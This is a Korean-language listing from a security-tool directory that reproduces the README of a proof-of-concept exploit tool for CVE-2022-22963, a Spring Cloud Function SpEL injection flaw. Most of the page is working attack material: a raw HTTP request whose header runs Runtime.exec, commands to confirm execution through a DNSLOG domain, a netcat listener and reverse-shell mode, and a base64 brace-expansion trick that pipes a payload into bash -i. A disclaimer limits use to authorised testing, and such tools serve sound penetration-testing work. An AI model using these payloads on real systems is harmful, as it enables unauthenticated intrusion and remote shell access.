Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
도구/GitHubGitHub/xmqaq/cve-2022-22963
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22963

Python License

Spring Cloud Function SpEL 표현식 주입 원격 코드 실행 취약점 탐지 및 활용 도구.

취약점 개요

CVE-2022-22963는 Spring Cloud Function 라우팅 기능의 고위험 RCE 취약점입니다(CVSS 9.8). 애플리케이션이 /functionRouter 엔드포인트를 활성화하면, spring.cloud.function.routing-expression 요청 헤더의 값이 SpEL(Spring Expression Language) 표현식으로 직접 실행되어, 공격자가 인증 없이 대상 서버에서 임의의 시스템 명령을 실행할 수 있습니다.

영향 받는 버전:

브랜치영향 받는 버전수정 버전
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

취약점 원리:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

서버가 SpEL을 실행하면, exec()가 Process 객체를 반환하고, Spring이 이를 직렬화하려 할 때 예외가 발생하여 HTTP 500 응답을 반환합니다. 명령은 백그라운드에서 비동기적으로 실행되며, 결과가 HTTP 응답에 표시되지 않으므로 DNSLOG 또는 리버스 셸 등 측면 채널을 통해 확인해야 합니다.

기능

  • 취약점 탐지: SpEL을 통해 특징적인 응답을 유발하여 대상에 취약점이 있는지 판단
  • DNSLOG 검증: DNSLOG 도메인으로 ping 요청을 보내 DNS 레코드를 통해 명령 실행 확인
  • 리버스 셸: base64 인코딩을 사용하여 공백 제한을 우회하고 지정된 주소로 대화형 셸 획득

설치

root@kitploit:~
pip install requests

Python 3.6+ 기타 종속성 없음.

사용 방법

root@kitploit:~
python3 CVE-2022-22963.py -u <目标URL> [选项]

매개변수 설명

취약점 탐지

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!

DNSLOG 검증

회신이 없는 경우 명령이 실제로 실행되었는지 확인:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)

그 후 DNSLOG 플랫폼에서 대상 IP로부터 DNS 조회 기록을 받았는지 확인합니다.

리버스 셸

공격자 머신에서 리스닝:

root@kitploit:~
nc -lvnp 9999

payload 전송:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)

참고: 리버스 셸은 대상 시스템에 /dev/tcp 지원이 있어야 하며, Linux + bash 환경에서만 작동합니다. Windows 대상이나 sh/ash/dash 등의 셸은 지원하지 않습니다.

기술 세부 사항

탐지 원리

탐지 요청은 /functionRouter에 실제 SpEL 표현식을 전송합니다:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • 취약점 존재: SpEL이 실행되고, Process 객체를 직렬화할 수 없음 → HTTP 500 + "path":"/functionRouter"
  • 취약점 없음: 헤더가 무시되고 함수 라우팅 실패 → 응답 코드 또는 본문이 위 특징과 일치하지 않음

리버스 셸 인코딩 과정

Runtime.exec(String)은 쉘 해석을 거치지 않고 공백을 기준으로 명령 문자열을 토큰화하므로 파이프와 리디렉션을 처리할 수 없습니다. 도구는 다음 방식으로 우회합니다:

  1. 리버스 셸 명령을 base64로 인코딩하여 특수 문자 제거
  2. bash 중괄호 확장 {cmd,arg}를 사용하여 공백 대체
  3. 최종적으로 대상 bash의 -c 매개변수가 파이프와 리디렉션 처리
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i

변경 로그

날짜버전설명
2023-12-28v1.0초기 버전 출시
2025-10-09v1.1코드 리팩토링, 매개변수 처리 및 오류 처리 최적화
2026-06-29v1.2탐지 오탐 수정, context path 경로 연결, exploit 반환값 의미 문제 수정

면책 조항

본 도구는 보안 연구, 승인된 침투 테스트 및 교육 목적으로만 사용됩니다.

본 도구를 사용함으로써 다음에 동의하는 것으로 간주됩니다:

  1. 명시적인 서면 승인을 받은 대상 시스템에서만 사용
  2. 해당 지역의 모든 관련 법률 및 규정 준수
  3. 본 도구 사용으로 인한 모든 결과에 대해 전적인 책임을 집니다.

저자는 어떠한 무단 사용 행위와 그 결과에 대해서도 책임을 지지 않습니다.

도구 다운로드
매개변수설명기본값
-u, --url대상 URL (필수)—
-c, --check취약점 존재 여부 탐지—
-m, --mode활용 모드: dnslog 또는 shell—
-d, --dnsDNSLOG 도메인 (-m dnslog 사용 시)—
-i, --ip리버스 셸 수신 IP (-m shell 사용 시)—
-p, --port리버스 셸 수신 포트9999
-t, --timeout요청 타임아웃 (초)5